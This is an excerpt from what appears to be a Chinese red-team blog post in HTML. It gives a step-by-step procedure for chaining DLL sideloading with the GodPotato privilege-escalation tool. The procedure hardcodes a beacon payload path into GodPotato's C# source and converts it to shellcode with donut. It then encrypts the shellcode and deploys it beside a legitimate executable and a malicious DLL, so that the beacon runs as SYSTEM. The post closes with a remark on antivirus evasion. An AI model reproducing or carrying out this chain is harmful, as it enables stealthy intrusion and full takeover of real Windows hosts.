<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>GodPotato 前置条件<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">GodPotato 依赖当前 token 的 <strong>SeImpersonatePrivilege</strong>（常见于服务账户、IIS 应用池、SQL Server 代理等）。普通桌面用户双击 <code>et.exe</code> <strong>通常无法</strong>提到 SYSTEM。白加黑解决的是「落地执行」，不是「无条件提权」。</div>
    </div>
</div>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>角色区分<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><ul>
<li><strong>白加黑（et.exe + 恶意 DLL + et.dat）</strong>：在当前（已有 SeImpersonate 的）进程上下文中解密并执行 GodPotato shellcode。</li>
<li><strong>GodPotato 写死的 cmd</strong>：指向 <strong>beacon</strong>（或其他要 SYSTEM 权限执行的载荷），<strong>不要</strong>再指向同一个 <code>et.exe</code>。</li>
<li><strong>donut 转换的 GodPotato</strong>：属于 CLR/.NET 加载型 shellcode，务必在 DllMain 外（如 <code>CreateThread</code>）执行，见 §5.1。</li>
</ul>
</div>
    </div>
</div>
<div class="mermaid" id="id-6">flowchart TD
    A[&#34;修改 GodPotato：cmd 写死 beacon 路径&#34;] --&gt; B[&#34;编译 newgod.exe&#34;]
    B --&gt; C[&#34;donut 提取 loader.bin&#34;]
    C --&gt; D[&#34;ShellcodeEncrypt.py 加密&#34;]
    D --&gt; E[&#34;重命名为 et.dat&#34;]
    E --&gt; H[&#34;同目录部署&#34;]
    F[&#34;et.exe &#43; krpt.dll&#34;] --&gt; H
    G[&#34;beacon.exe&#34;] --&gt; H
    H --&gt; I[&#34;在具备 SeImpersonate 的上下文中执行 et.exe&#34;]
    I --&gt; J[&#34;DLL（非 DllMain 重活）解密执行 GodPotato&#34;]
    J --&gt; K[&#34;提权后执行 beacon → SYSTEM 会话&#34;]</div>
<h4 id="step-1修改-godpotato写死-beacon-命令">Step 1：修改 GodPotato，写死 beacon 命令</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-csharp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="n">potatoArgs</span> <span class="p">=</span> <span class="k">new</span> <span class="n">newgodArgs</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 指向目标上的 beacon，而非白文件 et.exe</span>
</span></span><span class="line"><span class="cl">    <span class="n">cmd</span> <span class="p">=</span> <span class="s">&#34;cmd /c c:\\users\\public\\downloads\\beacon.exe&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span></span></span></code></pre></div></div>
<p>编译为 <code>newgod.exe</code>。</p>
<h4 id="step-2donut-提取-shellcode">Step 2：donut 提取 shellcode</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-dos">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code class="language-dos" data-lang="dos">donut.exe -i newgod.exe</code></pre></div>
<p>输出示例：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-text">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">[ Shellcode     : &#34;loader.bin&#34;
</span></span><span class="line"><span class="cl">[ File type     : .NET EXE
</span></span><span class="line"><span class="cl">[ Target CPU    : x86+amd64</span></span></code></pre></div></div>
<h4 id="step-3加密-shellcode">Step 3：加密 shellcode</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 ShellcodeEncrypt.py loader.bin loader.dat</span></span></code></pre></div></div>
<p>将 <code>loader.dat</code> 改名为加载器约定名称（如与白文件对应的 <code>et.dat</code>）。</p>
<h4 id="step-4部署上线">Step 4：部署上线</h4>
<p>将以下文件放到<strong>同一目录</strong>（路径需与 Step 1 中写死的 beacon 路径一致），例如 <code>C:\Users\Public\Downloads</code>：</p>
<table>
	<thead>
			<tr>
					<th>文件</th>
					<th>作用</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>et.exe</code></td>
					<td>白文件，触发 DLL 加载</td>
			</tr>
			<tr>
					<td><code>krpt.dll</code></td>
					<td>恶意 DLL：读 <code>et.dat</code> → 解密 → 执行</td>
			</tr>
			<tr>
					<td><code>et.dat</code></td>
					<td>加密后的 GodPotato shellcode</td>
			</tr>
			<tr>
					<td><code>beacon.exe</code></td>
					<td>GodPotato 提权后实际拉起的载荷</td>
			</tr>
	</tbody>
</table>
<p>执行 <code>et.exe</code> 后：DLL 在合适时机（非 DllMain 重活）解密执行 GodPotato shellcode →（在具备 SeImpersonate 时）提权 → 以 <strong>SYSTEM</strong> 执行 <code>beacon.exe</code>。</p>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>beacon 落地<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><code>beacon.exe</code> 以明文落盘仍可能被杀软拦；实战中常对 beacon 再做免杀或改用内存执行链路。本文只演示 GodPotato 与白加黑的衔接关系。</div>
    </div>
</div>]]></description></item></channel></rss>